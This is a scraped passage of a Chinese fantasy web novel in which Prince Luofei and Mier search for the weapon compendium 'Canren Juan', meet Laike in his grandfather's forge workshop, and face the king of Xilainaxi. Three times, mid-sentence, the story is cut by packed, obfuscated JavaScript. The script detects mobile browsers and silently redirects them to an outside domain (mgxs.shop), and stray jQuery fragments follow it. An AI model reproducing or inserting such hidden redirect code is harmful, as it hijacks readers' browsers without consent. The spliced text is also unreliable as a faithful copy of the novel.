米尔突然换了副语气,轻快了些,“母亲嫌弃父亲麻烦且吵闹,便带着我离开了露希恩,一路游历。在汐莱纳希暂住时认识了不少人,再后来,去了艾瑟兰王国,结识了莱因哈特国王和薇洛希王后。” 洛斐听着米尔说见到了父王和母后,皱了皱眉,问他:“那个时候,露希恩的战争刚刚开始,你们在外面游历,为什么会有涉及?” 米尔没急着回答,而是微微侧目,反问他:“露希恩王国如何覆灭,艾琳娜夫人如何逝世,殿下知道吗?” “也许知道一些。”洛斐认真答道:“艾琳娜夫人因为战争而亡,并无太多记载。而露希恩王国败于兵力不强却先伐人,是以弱……” 洛斐余光看了米尔一眼,看见对方无变化,才开口道:“以弱犯强,不自量力。” “记得很牢,也很准确。”米尔说完,顺势笑着夸了洛斐一句,“殿下不愧是各国的王子典范。” 洛斐唇角微微扬起,佯装镇定地回答:“还好。只是这些话应当不是全部准确。” 米尔敛起笑,颔首开口:“有些对,但不全对。” “当时,母亲正在汐莱纳希陪我治病,得知父亲不顾她的嘱咐滥造残刃卷中的武器,投入大规模地培养,甚至挑起战争,便急忙赶回露希恩。” 洛斐盯着他问:“你生的什么病?” “一场来得太快的病。” “病好了,母亲便不在了,露希恩王国也不在了。” 米尔见洛斐面带不解,开口解释:“母亲是死于战争,但露希恩王国并不全是败于他国的兵力。” “当时,露希恩王国无论是兵力还是人马,都无可挑剔,即使无法和多国抗衡,也绝不会短暂的时间里便败得一干二净。” 洛斐回道:“大多数王国的历史存在虚假成分,并不值得惊讶,像汐莱纳希隐瞒对凯勒布造成的伤害就是例子。” “但这是王国间的战争。自始至终,其他国家都没有理由替露希恩隐藏什么。” “残刃卷。”米尔朝洛斐说:“残刃卷的威力远比殿下所了解得要严重。” “严重到足以覆灭一个王国?”洛斐见米尔起了身,抬头问。 “当然……”米尔伸着懒腰,甚至还有心逗弄他,“不是,残刃卷虽然威力难以估量,但最根本的原因依旧在于父亲不爱惜子民,滥用武器,一意孤行地挑起战火。” 洛斐听着听着便理清了思绪,“那你来艾瑟兰,是谁的想法?” 米尔转身回道:“莱因哈特国王和薇洛希王后怜惜我久病初愈,又遭此战争,邀请我来艾瑟兰修养身体。” 洛斐点点头,算是明白了,难怪米尔初来时,次次拒绝他的拜访。 洛斐将久远的气独自消了,站起身来,望着米尔说:“你寻找残刃卷并不是缅怀,而是……” 米尔往门外扫了一眼,伸手将洛斐拽到身后,淡淡地说:“销毁它,是我的目的。” 洛斐顺着他的力道往后退。 一支利箭忽地出现在他眼前,洛斐微微侧身,箭尖轻轻擦过他的眉骨,钻进身后的墙壁。 他们身份隐秘,尽管没有人手在身旁保护,但在汐莱纳希面对袭击倒是第一次。 洛斐下意识偏头,见米尔安然无恙,甚至嘴角挂着笑,便明白他是早有准备的,小声问:“你既然知道,还不拉我?” “拉了你,但没猜对位置,他的箭术不错。”米尔耸了耸肩,语气很是诚恳。 洛斐看了米尔一眼,气极反笑。 刚才的那番话,大概也是意有所指。 先是凯勒布,后是莱克。 句句不白讲,句句不和他讲。 倚着门框的莱克见他们你一句我一句地交谈,毫不在意他人的出现,便拿着弓箭敲着桌子,开口质问,“你们为什么还不离开?” 洛斐这才抬头看向那拿着弓箭的少年,还没来得及说话,身旁的米尔率先说:“你不是要找我们吗?” 莱克张了张嘴,想要反驳又生生地将话咽了回去,纠结了好一会,冷冷地开口:“你们,跟我去打扫房间。” 洛斐将箭拔下来,扔给莱克,语气直白,“不要在人群密集处使用弓箭,用在该用的地方。” 莱克自然知道方才冲动了,回了句:“……知道了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669112|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 洛斐和米尔跟在莱克身后,看着他去了不同的道路,明显不像是通往那个猫洞的。 洛斐问他:“你还有别的路?” 莱克弓箭背在身后,语气骄傲地说:“那是当然,我怎么会和你们走一条路?” 洛斐想着终于不用钻猫洞,便不再纠结于莱克的无礼。 “这是你说的第二条道路?”洛斐看着眼前比那个更窄的洞口,不可置信地看向莱克,有气无力地问:“你会缩骨术吗?” “是你太不灵活。”莱克说完后,伸手抓住洞口,蜷缩着脑袋便利落地爬了进去,明明比洛斐还要壮实,韧性却极佳。 米尔径直爬了进去,身体平衡后,朝还站在洞口的洛斐招了招手,“你牵着我的手,我带着你。” 洛斐看了眼洞口的宽度,轻轻拍了拍他的手,“……你是想两个人都卡住吗?” 也不等米尔回答,又补了一句,“不用管我,往前走便好。” “好。” 大约是有了前几次的经验,洛斐这次钻得异常利落,衣袍微脏,便到了出口。 米尔才刚刚站稳,正要探头去看洛斐,一低头便看见洛斐抬起的视线。 四目相对,洛斐率先扬起笑问:“表哥,等我呢?” “嗯。”米尔微微垂眸,扶他起来。 一旁早就等待许久的莱克盯着晚来的他们,忽地来了句,“你们扮演的是表哥表弟,不是伴侣。” 莱克丢下一句话,转身去了屋内。 “……看来我们装得不够像。”洛斐看向米尔。 “伪装抵不了真情实感。”米尔不咸不淡地开口。 洛斐愣了愣,假意知晓地点了点头,“说得有道理。” 米尔抬眸看了他一会,见对方不再说话,便轻叹了口气,朝洛斐道:“算了,进去看看。” 洛斐还没问什么算了,和米尔一进门,莱克便将手伸到他们眼前,语气急躁,直愣愣的,“残刃卷还给我。” “还给你?”米尔顿了一瞬,弯了弯嘴角,不紧不慢地反问:“为什么还给你?” 到底是孩子心气,少年脾性,莱克藏不住脾气,微微瞪着眼睛,说:“那是属于我爷爷的,是属于莱恩·索恩的。” 米尔不慌不乱地环顾一周,从墙边拎起两把椅子,一把递给洛斐,一把自己坐了。他微微抬起头,看向莱克,语气听着漫不经心,“证据呢?” 莱克忽地泄了气,微微颤抖的手指握着弓箭,眼睛周遭泛红,垂首不语,可怜得就差抹眼泪了。 洛斐见他这副泫然欲泣的模样,扯了扯米尔的衣角,低声说:“他快哭了,不是敌人,你稍微注意点问。” 米尔伸手拍了拍洛斐手背,但口中的话却没因此停了,依旧不依不饶地说:“哭也没用。” 莱克顿时抬起头,怕对方看见眼泪,又顺势抹了把眼睛,怒气冲冲地看向米尔,说:“要证据,是吗?” 他说完便跑到了柜子边,抬手伸向最高的那层,拿着一沓泛黄的羊皮纸信件走了回来。 他猛地抬手一挥,尽数扔向米尔。 洛斐伸手挡了一下,见莱克扔得不管不顾,弯腰从身后环抱住米尔,抬手替他将那些信件挡开了,抬眸道:“可以无礼,但不能伤人。” 32. 值得 莱克扔得更起劲了,全然不顾地扔完手中的信件,转而躲得远远的,依旧谨慎地看向他们,说:“你们要的证据。” “看完后,给我残刃卷。” 米尔微微推开洛斐,弯腰捡起地上的信件,每封信的落笔名字皆是莱恩·索恩。 “给你。”米尔看见名字后便将信件递给他,说了句,“擦干眼泪,说说你的事情。” “我……凭什么告诉你。”莱克擦拭眼睛,朝他们说道:“你们只要给我残刃卷便好。” 洛斐看见凌乱的房间,忍住收拾的冲动,转身适时地补充:“你偷听,便只听一半吗?残刃卷不在我们手中。” “那我更不可能告诉你们。”莱克看着他们,往后退了退,说:“你们的身份是否清白,谁又能担保?” 洛斐张了张嘴,还想再说什么,米尔却抬手拦在了他前面。 “既然莱克先生不说,也不欢迎我们,那么我们再留下去也没了意义。”米尔看向洛斐,语气认真,“现在离开,也不算晚。” 洛斐和米尔待久了,对方的路数和想法,他也有所了解。 洛斐看了眼米尔,便明白现在还不是离开的时机。 “好。”洛斐收回视线,微微颔首,算是配合米尔的动作。 他原以为米尔也只是拿话激莱克,结果对方真的握住了他的手腕,打算就此离开。 偏偏身后的莱克也没了动静。 “……别离开。” “你们和我谈谈。” 好在,莱克的话来得不算晚,米尔和洛斐听完,相视一眼,顺势坐回椅子,安静地等待面前少年将往事一件件地摊开。 莱克仔细翻看手中快要背熟的信件,开口解释:“我叫莱克·索恩,索恩家族的现任家主,是我叔叔。” 莱克话音刚落,看向平静坐着的两人,语气带着质问:“我不知道你们是谁,但应当不是来抢残刃卷,杀害爷爷的人。” “抢夺残刃卷的人?” 莱克看了眼米尔,依然站着梳理信件,“前几年,我刚从严苛的学院回到夏塞林。回来不久,便收到了爷爷的来信。” “那时爷爷应当在辗转参赛才是,况且他素来不爱写信件,也从不和家人讲起,眼下却回了一件又一件的信件,我那时便开始害怕。” “但父亲早逝,叔叔对我的管控极其严苛,除了学院,他不会允许我独自外出。我要去寻找爷爷,他便一拖再拖,派去的人草草了结,并不用心。” 莱克说着,便将信件又递给了米尔和洛斐。 信是带有年月的羊皮纸,哪怕悉心保护,边角依旧微微翘了起来。 信的内容只有三种,报平安,话家常和对后辈的嘱咐,再无其它。 唯一值得注意的是,信里反复提及残刃卷的完成,最后的时间也恰好是艾瑟兰武器比赛的那段日子。 莱克见他们看得郑重,便继续道:“后来,我年岁渐长,便请求叔叔,最后终于能独自去寻找爷爷,结果却并不顺利。” “我去了信里提到的地方,将艾瑟兰王国翻来覆去地找了一遍,也没有爷爷的身影。”莱克撑着桌子,“恰好遇到了位同样参赛的师父,他告诉我,那年的比赛并没有顺利开展,有人中途抢夺参赛者的武器装备,以至于很多人连到场都做不到。” 洛斐抬头看他,问:“你又回去找了?” “当然,我当时很慌张,又回到了爷爷提到的地方……” 米尔看着手中的信,随口问:“依旧找不到莱恩先生?” 莱克抬起眼,语气没有方才的急躁,“我不仅没有找到爷爷,甚至因此受了重伤。” 米尔和洛斐同时抬起头,反问:“受重伤?” 洛斐皱了皱眉,“你在艾瑟兰境内被人攻击了?” 莱克抬手,朝身后那副旧地图点了点,“大概在这里失去意识。最后的记忆是在寻找线索,再醒来人已经在夏塞林了。有人捡到了我的徽章,将我送了回来。” “后来,叔叔和我说,我的身体并无大伤,只是中了药。但爷爷的线索彻底断了,到现在他……依然生死未卜。” 米尔垂眸思索,而身旁的洛斐抬起头看向莱克,迟疑地问了一遍,“真的在艾瑟兰?” 莱克被他的视线和话语搞得皆是一愣,不明所以地回答:“……最后地点是艾瑟兰的一个小村庄。” “哪里?” “记不清了。”莱克诚恳地回答,时间真的太久远了,他又好几年未离开夏塞林。 “我回去后会严加管理。”洛斐继续看回信件,朝着莱克随口道。 “……你严加管理什么?”莱克不解地看向洛斐,“你以后要移居艾瑟兰?” 米尔垂首看着手中的信,语气不似责备,倒是带着无奈的劝告,“既然选择了偷听,莱克便该挑关键的听,否则便白费了时间。” 莱克愣了一瞬,记起来他们对话中故意透露的身份,不再去管他们话里藏了什么,索性坐回一旁,低着头不说话。 洛斐将信件看了一遍,结合莱克的说法,大致明白了来龙去脉。 见米尔不表态,洛斐率先开了口:“无论是莱恩先生在艾瑟兰遇害,还是你受伤,我都感到十分抱歉,艾瑟兰也一直在努力调查那件事。” 莱克猛地抬起头,语气带着质问:“调查?如果我不提起,你怕是永远不会主动提起,甚至连你身旁的表哥也毫不知情。” 洛斐怔了怔。 那场比赛极其不顺,参赛者的安全都未能保护,本就是一桩丑闻,王室记录的档案都改动了,洛斐确实不会也不能主动提起。 身旁的米尔见洛斐面色不太好,便不轻不重地开了口,朝莱克问道:“谁抢夺残刃卷?或者是谁伤害的你?” “我要是知道是谁,便不会留在夏塞林了。”莱克没好气地回答,说完后又觉得的确不太礼貌,抬眸看了他们一眼,“我先前以为你们是来抢夺的人,也失礼了。” “我不知道是谁提示你们,或是你们找到了什么线索来汐莱纳希。”莱克顿了顿,语气恳切,“但汐莱纳希是找不到残刃卷。” 米尔目光微动,问道:“你说你不常离开夏塞林,怎么那么确定残刃卷不在汐莱纳希?” “据我所知,凯勒布公爵在寻找,我在寻找,你依然来找,如果残刃卷真在汐莱纳希的话,不至于至今还找不到。” 莱克摸了摸身侧的剑柄,说:“况且,如果汐莱纳希真的有残刃卷,那群人能将汐莱纳希翻一遍。” 洛斐看了眼米尔,见对方正忙着深思,便朝莱克问:“你们竭力寻找残刃卷有情可原,他们要残刃卷做什么?” “这个我并不清楚。”莱克拿起剑,坦然道:“但如果一直待在汐莱纳希,你们也不会找到残刃卷。” 米尔抬起头,“你还有要告诉我们的吗?” “告诉你们的?”莱克干脆地摇头,说:“只有这些。” “真的?要带我们去的地方也没有?”洛斐紧随其后地追问。 “……没有。”莱克别开脸,不自然地开了口,视线转回来时,发现面前的两人依旧盯着他,只好败下阵来,“你们跟我来。” 洛斐见莱克往熟悉的方向走,开口:“不要爬洞口了,我要走正常的道路。” 莱克转身,语气倨傲,“你们请回。” 风水轮流转,洛斐无法反驳,只好转开了话题,“你叔叔,对你不好?” “很好。”莱克边弯腰边回答,一刻也没耽误,下意识解释,“除了对我管束严苛,其他方面待我极好。” 莱克说完,余光看见米尔和洛斐不解的目光,想起他的住处和出口确实较为别致,开口解释:“至于我的卧房是我的喜好。” 米尔的韧性再好,来回几趟,也有些疲惫,时不时等待身后的洛斐,问面前利落穿行的莱克,“这……也是你的喜好?” 莱克头也没回地说:“是的。” “……”洛斐在米尔身后,凑到他耳边问:“他靠得住?” 米尔抬眸看了他一眼,语气没什么起伏,“只能如此了。” 时机是米尔和洛斐根据日程表计算好的,宾客们全部离场归家,索恩家族的人也尽数离开。 洛斐原想着,莱克要带他们去的大概就是索恩庄园腹地某处不为人知的角落。 结果,地方倒是鲜为人知,却不在索恩庄园。 洛斐手里的树枝抵着湿软山坡,步子落在后面,抬眼看向前方走得飞快的米尔和莱克,问道:“你要去的地方是山洞吗?” 白日走到黑夜,偏偏连辆马车也不准备,洛斐几乎要以为,莱克存心要报复他们。 米尔远远地看了洛斐一眼,跑来牵起他一边的衣角,“我牵着你走。” 洛斐顺着他的力气往前走,小声说了句:“……又不是马。” 前面专心赶路的莱克听见他们的对话,忽然停住了,转过身来,面无表情地丢下一句,“不要在我身后眉目传情。” “荒无人烟的地方,真的是你说的秘密基地?”洛斐跟着米尔往前走,一边问莱克。 莱克扶着树,麻利地往前走着,“米尔应该知道是哪里?” 突然被提到的米尔微微一怔,转而说道:“依照周边环境来看,我大概能猜到,但确实不认识这里。” “你母亲,艾琳娜夫人没有向你提起我爷爷吗?”莱克不解地问。 “常常提起,但我出生后,母亲便不再自由,无法轻易离开去看望莱恩先生了。”米尔语气很平,但忧伤还是从话语漏了出来。 “最后准备去艾瑟兰看望莱恩先生时,母亲便在露希恩战争中丧生了。” 洛斐抿了抿唇,看了米尔的背影一眼,快走几步握住他的手腕,顺势越过莱克,走在了最前面,方才的疲态全然不见,“走快些,不然明日也到不了。” “你们……”莱克见两人忽然走得飞快,喊了句:“你们不认识路,走那么快做什么?” 洛斐闻言,带着米尔慢了下来,“那你快些。” “不要催他了。” “催我也快不了。” “……” 你一言我一语地终于到了目的地。好在,莱克还算是心里有数,他们到的时候,天还未彻底黑下来。 洛斐抱着手臂,看着眼前的院子。 院子不算大,三面搭着灰石矮墙,院中间的熔炉洞口漆黑,各式各样的工具器材堆在墙根,不整齐但不脏,显然是有过打扫。 “小心。”洛斐眼疾手快地伸手,将快要踩到铁器的米尔硬生生地拉了回来。 莱克见状,弯腰将路中间挡路的工具先移开,朝身后说:“我分不清哪些重要,哪些应当丢弃,便都留了下来,你们务必小心。” 莱克将路中间清空,开口说:“这是爷爷先前的工坊,主要是用来锻造武器,但他忙碌时也常常住在这里。” “既然爷爷是艾琳娜夫人的师父,说不定这也有会有些线索。”莱克推开了门,朝着他们微微躬身,语气难得的放软,“不管残刃卷是否是爷爷的物品,我依然希望你们能找出些线索,顺势找到它。” “我们会尽力。”米尔微微颔首。 他们刚到的时候,远远望去,以为和卡斯弗的院子别无二致。进了门才发现,截然不同。 屋里不像院子那样器材工具堆砌满地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673772|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 取而代之的是图纸和书籍铺满了桌面,墙壁上挂着的也是形色各异的档案和信件。 莱克熟练地擦拭落灰的物品。 米尔垂眸看向桌面的图纸,而洛斐则是望向墙壁挂着的信和旧档案。 洛斐观察信件和档案的同时,余光看了眼米尔的状况,瞥见对方拿起的图纸,随口道:“艾琳娜夫人的图纸和你爷爷的很相像。” “他们是师徒,都是做武器的,相似也正常。”莱克语气随意。 “不是的。”米尔忽地开口,“这是母亲的旧作。” “艾琳娜夫人的?”莱克闻言走去,拿起来看了眼,干干净净,没有名字。 “你如何看出这是艾琳娜夫人画的?”莱克觉得这和桌面的其他作品并无差异。 “我从小便看着它们长大。”米尔摸了摸渗透的笔墨,笃定地说:“这不仅是母亲画的,而且是她年轻时画的。” “我爷爷为何要拿着艾琳娜夫人的作品?”莱克随手翻了翻其余的图纸,并无别的。 “……兴许是给师父的礼物?”米尔说得犹豫。 艾琳娜·韦恩菲尔德和莱恩·索恩皆不爱标注时间,眼下的状况米尔只能认识作品,也无法猜测具体时间。 “恐怕不是。”洛斐抬手摘下墙上钉着的一封信,倚着桌子,随手递向米尔,“像是艾琳娜夫人让莱恩先生制作的。” “母亲制作武器并不逊色,但她更精于画图。图纸交于莱恩先生动手,倒也不奇怪。”米尔接过信封,仔细地拆开。 入目是久违的母亲笔迹: 莱恩先生敬启。 米尔看着信件中的内容,低声念道:“露希恩这边的武器工坊建得不像样子……我画了几张图纸,却又总觉得少了些什么,便想着请师父过目。” 米尔看完,看向其余两人,说:“这是母亲和父亲刚成婚时。” 洛斐忽地来一句,“那就清晰了。” 莱克和米尔同时望向洛斐,问:“什么清晰了?” “你们真是该清楚时,却没了主意。”洛斐伸着头,指了指信件,语气不咸不淡,“残刃卷是艾琳娜夫人婚后多年才完成的作品合集。她写信问莱恩先生的时候,残刃卷还未成形。” 洛斐缓缓说道:“况且,艾琳娜夫人去了露希恩便身不由己,短时间内没了自由,莱恩先生又常年奔波参赛,忙于交流武器制作,残刃卷怎么会在莱恩先生手里。” “难道和爷爷没有关系吗?我当年走过的地方,桩桩件件都指向残刃卷。”莱克皱着眉问。 “我们不也来了汐莱纳希吗?”洛斐神色严肃,继续说:“现在看来,不仅只有我们在寻找残刃卷。” 莱克泄了气,默默地收拾眼下的图纸,问:“你们接下来去哪里?” 米尔率先开了口,“我们先回艾瑟兰等待。”他顿了顿,目光移向洛斐,而后说道:“目前的线索模糊,后面只能走一步看一步。” 洛斐欲言又止,到嘴边的话咽了回去。 米尔不主动提起去露希恩,他也不开口。 “真的值得?”莱克抬眸问他们。 从艾瑟兰到汐莱纳希,再到夏塞林,这一路走得不短,但收获却寥寥。 甚至一切要重新开始。 怎么能算不白费呢? 米尔拿起那张图纸,在莱克眼前晃了晃,说:“莱克,能将它赠予我吗?” “你母亲的物品,你拿去便是。”莱克头也没抬地回答。 米尔谨慎地将图纸折起来,随口问莱克,“你不也一直在寻找?哪怕缩在那间屋子里,不爱外出,害怕外界,也依旧不放弃。” “我才不是害怕。”莱克听见关键词,忙慌地反驳,随即又垂眸道:“爷爷是我的家人。” “她是我的母亲,是我的家人。”米尔郑重地说道。 一旁一直默默收拾工坊的洛斐顺着米尔的话,想也没想地开口:“也是我的家人。” 其余两人皆是一愣,目光落在他身上,表情不解,像是等待他说点什么。 洛斐转身便看见不明所以的两人,不再着急收拾,思索着说:“我是说……都是我的家人。” “好了。”莱克忽地直起身,将翻出来的物品重新摆好,问面前的米尔和洛斐说:“你们准备去哪里住?继续去庄园装扮侍从,还是另找他处?” 在庄园里装扮侍从干活,还是面对凯勒布丧失面子,洛斐还是能做抉择。 他当然选后者。 “不用麻烦了。”洛斐委婉地拒绝,朝向莱克,笑着说道:“我们也许是去凯勒布公爵那里借住。” 洛斐说完,转身问米尔的意见,“米尔,去凯勒布公爵那边还是去庄园里继续装扮侍从?” 米尔听见洛斐意有所指的问话,佯装犹豫,说了句,“继续去索恩庄园……” 洛斐诧异地看他。 “……是当然不行的。我们先回凯勒布公爵的城堡,顺便和他们道别,然后回艾瑟兰。” 米尔见洛斐长叹口气的模样,失笑。 将莱克送回去后,他们便去了城堡。抵达时,天色已经放明,周边泛起了白。 洛斐伸了伸懒腰,随即转身,朝马车内伸了手,说:“米尔,下车了。” 洛斐话音刚落,管家便慌乱地跑来,喘着气,远远地开始拦着他们,压着声音道:“别下车!快离开。” 洛斐见向来温和如玉的管家失了态,以为是凯勒布和埃迪在跟他们开玩笑,便笑着问了句:“管家先生,你们在同我们说笑吗?” “好久不见,瓦莱里安殿下。” 洛斐闻言一愣。 真是不美妙的日子。 33. 回家 与方才管家喘着粗气喊的那句,如出一辙。洛斐转身看向正下车的米尔,眼底满是不解。 只是不用等到米尔回答,站在洛缇身旁身着华丽服装的男人便率先开了口:“好久不见,米尔。” 洛斐听见米尔的名字,抬眼看向城堡屋檐下的那道身影。 身形消瘦,衣袍被风压得服帖,不算高大的身形,在廊道晦暗不明的阴影下有种说不清道不明的压迫感。 洛斐姑且算是认识,但也仅仅是幼年时,汐莱纳希来艾瑟兰洽谈商道,他曾远远地看了这位汐莱纳希的现任国王一眼。 年岁久远,他都快记不清了。 米尔将还在回忆的洛斐扯到身后,朝国王微微躬身,语气平稳不见情绪波动,“许久未见,不知您一切可好?” “一切安好。”国王朝米尔笑了笑。单看外表,倒真像一位怜爱后辈的和善长辈。 国王说完后离开,低头和身旁侍从交待起来。洛斐收回目光,垂眸问米尔:“你不是说无人知晓?你怎么认识他的?” “并不在我的计划中。”米尔压低声线,说道:“算不上认识。是母亲当年带我见的他,那时他还是汐莱纳希的皇子,并不是国王。” “艾琳娜夫人的阅历,着实丰富。”洛斐禁不住感慨。这一路走来,几乎遇到的每一个人,都认识米尔,倒像是一场另类的旧友重逢会。 “母亲喜爱游历。”米尔看向洛斐,不咸不淡地解释。 洛斐微微偏头,小声调侃着米尔,“你也该学学艾琳娜夫人热爱游历的性子,不要总是憋在卧房,喂喂小白和小黑就当是运动了。” 米尔收回视线,笑了笑也不搭话。倒是一旁身穿粗糙布裙的洛缇微微侧身,浑身带着长途跋涉后的疲倦,见他们谈得自然而然且亲密,全然不顾周边环境,叹口气,“你们收敛些。” 洛斐看了眼洛缇,而后淡淡地回答:“不用担心,他并不认识我。” 洛缇无言以对,“……” 国王交代完招待米尔的事项,转身便看见米尔正朝着身旁的人浅笑着,目光自然地落在洛斐身上,笑着问:“这位是……” 米尔敛起笑,悄无身息地将洛斐往身后揽了揽,回答:“他是我在艾瑟兰的朋友。” “朋友?”国王垂首扯了扯袖口,深深地看了洛斐一眼,朝米尔道:“原来是米尔的挚友,难怪如此意气风发。记得上次见你时,还是小少年呢。” 说的话句句是夸奖,但语气却带着天然的倨傲。 身份是不说的,架子是必须摆的。 洛斐皱了皱眉。 不满但洛斐依旧清楚惹恼对方并不是好事,只好微微躬身,笑意不达眼底,语气不见起伏,“您好。” 国王颔首示意,态度敷衍得叫人一眼便能看出,朝米尔问道:“不如进屋坐坐?有些事情,想同你交谈一番。” 抛开对方汐莱纳希国王身份不说,就算是许久未见的长辈,母亲的旧相识,米尔也不好拒绝。 米尔抬眼看向表情算得上真挚,语气慈爱的男人,轻轻点头,笑着说:“是我的荣幸。” 洛斐见米尔答应,想也没想地准备跟着前去,还没碰到米尔肩膀便被人拦住了。 国王视线扫了他一眼,余光见米尔的脸色不算好,便挥了挥手,说道:“洛缇,带米尔挚友去歇息,不要怠慢。” 也不等洛缇开口回复,他便带着米尔转身进了屋,一旁的管家犹犹豫豫地伸手做阻拦状,却不敢真的拦他。 一边的洛缇听她父亲的嘱咐,无奈地叹口气,懒懒地走到洛斐身边,说:“殿下,请先去休息。” 洛斐目光定定地落在城堡上。 洛缇顺着他的视线望去,语气轻描淡写,压得很低,说得好似不是他父亲,而是无关紧要的旁人,“他不是好人,但是对米尔很看重,不然也不能将我骗回来,一同来夏塞林,只是为了寻找米尔。” 洛斐这才有了反应,偏过头看向她,“是洛缇公主说的?” 洛缇顿时收起懒散,赶路的疲惫都消散了不少,直起身来看着他,开口反驳:“当然不是,我既然答应了米尔不会插手,便不会有人能从我口中得知消息。” “况且,我离开时你们还没到汐莱纳希,我被迫跟着父亲来,到了才知道你们在夏塞林。”洛缇说得气恼,她那烦人父亲用不到她时,不管不问,用到她时便不由分说地喊来。 洛斐语气放轻,带着歉意,“抱歉,我们的事情连累了洛缇公主。日后艾瑟兰发现新的洞穴古迹,一定第一个喊你来看。” “我只是……好了,帮你们也是我的想法。”洛缇不会揪着这点问题不放,摆摆手便算了了结。 洛斐看向紧闭的城堡,随口问洛缇:“你刚从南边的王国游历归来?” “殿下怎么知道?”洛缇不解地问。 洛斐抬头也不偏地回答:“他们特有的服饰很独特。” “是的。”洛缇走向一旁的凉亭,喋喋不休地抱怨起来,“我本来和同伴在南边的边陲小国,结果我那父亲却突然说要来找米尔,用母亲遗照将我骗了回来。” 洛斐顺势坐石凳上,问:“他怎么知道?” “那就该问问你们,是否和他人提起身份或者是其他。”洛缇接过管家递来的饮品。 “不会,你知道的,米尔谨慎从不和人提起全名。”洛斐朝递给他饮品的管家道谢后,安抚他了一句,接着说:“更何况,汐莱纳希又不是小岛屿,怎么会传话速度堪比村庄。” 洛缇想了想,随口道:“那就是有人通风报信。” “通风报信?”洛斐皱着眉反问:“跟踪米尔?” “……通风报信的目标不一定是米尔,也有可能是你们此行的目的。”洛缇喝了口夏塞林的饮品,涩得捂嘴吐舌头,含糊地和洛斐说:“毕竟,想要找到一个许久未现身的物品,挡住它的不止是风沙和高山,更多的是,人为布好的天罗地网。” “天罗地网吗?”洛斐呢喃道。 洛缇看了他一眼,旋即视线将周遭扫荡一遍,垂首开口道:“殿下,眼下还有更该担心的事。” 洛斐也跟着浅尝一口面前的饮品, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683323|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 皱了皱眉。 还不如他给米尔倒的黑苔草碎味道好,他强撑着脸色,听闻洛缇的话,怔了怔,“什么?” “你们……该如何回艾瑟兰王国。”洛缇看向远方的城堡,吞吞吐吐地问。 “坐马车回。”洛斐眼也不眨地回答。 “……不是的,殿下回自己的国家自然是理所应当,谁也无法阻拦,但米尔不行。”洛缇知道他父亲的习性,朝洛斐开口道:“父亲寻找米尔,大半是因为他是艾琳娜夫人的后代,想要请他指导汐莱纳希的武器制作。” “如今找到了他,父亲定不会轻易放他走的。”洛缇说得有理有据。 她了解她的父亲,无利益便不行事。 洛斐微微颔首,毫无反应。 他早就料到了国王的来意,无非是想要米尔替他制作武器,或是追问残刃卷的下落。 洛缇一说,看来是后者。 “米尔不是物件,不是任人摆布的。”洛斐语气不悦,“米尔先前在艾瑟兰养伤时,不见他人看望,现在要争着抢着邀请,哪有这种道理。” “你说得很对。但如果父亲要以叙旧为由留下米尔,不让他离开,殿下要以什么身份反驳?”洛缇不咸不淡地问。 “……那便带着他离开。”洛斐闷闷地开口。 他能安然无恙地回去,是因为到哪都有艾瑟兰的庇护,米尔呢? 如果此刻在艾瑟兰的地界,洛斐相求,莱因哈特和薇希洛自会出手帮助。可现在是在夏塞林,对方不仅顶着汐莱纳希国王的身份,还是米尔的长辈,简单的一句叙旧和照顾,洛斐便不能反驳。 洛缇说,国王找米尔是为了请他替汐莱纳希制造武器,但那样滥情无礼的国王,谁又能保证他不会临时变卦,对米尔不利。 况且,比起箭术,骑术和剑术,米尔并不擅长制造武器。 即便有些了解,也完全达不到艾琳娜夫人的程度。 如果国王发现米尔并不精通武器,转而让他去做照料马厩,喂养马匹的脏活累活,他也只能受着。 洛斐越想越担忧,握着杯壁的指尖发紧,青色的玻璃杯也跟着晃动。 当时真该让米尔直接成艾瑟兰的王子,不必连回家都要受制于人。 洛斐懊恼地猛然放下杯子。 “眼下最好的办法,是殿下先回艾瑟兰。”洛缇举了举杯子,语气不急不躁,“米尔在汐莱纳希忙完后,自然也会回去。” “两个人来的汐莱纳希,便不能只有一个人回去。”洛斐语气决然,不留任何余地。 洛斐没再看洛缇的神情,丢下这句话,便利落地站起身朝城堡方向走去。许久,身后洛缇的声音追了上来,“你要去做什么?” “带米尔回家。”洛斐答得果断。 他正要开门,门却从里面开了,米尔和国王恰好站在门后。 米尔先看见了洛斐,他的手还悬在半空,正要推门。 米尔抬眸问他:“怎么了?” 洛斐垂下手臂,顺势握住了米尔的手腕。 “米尔,回家。” 34. 好戏 国王侧目看着他们相牵的手,先是面无表情地移开视线,而后看向米尔,笑容满面但语气不满:“米尔,你的朋友真是急躁性子。” 急躁性子。 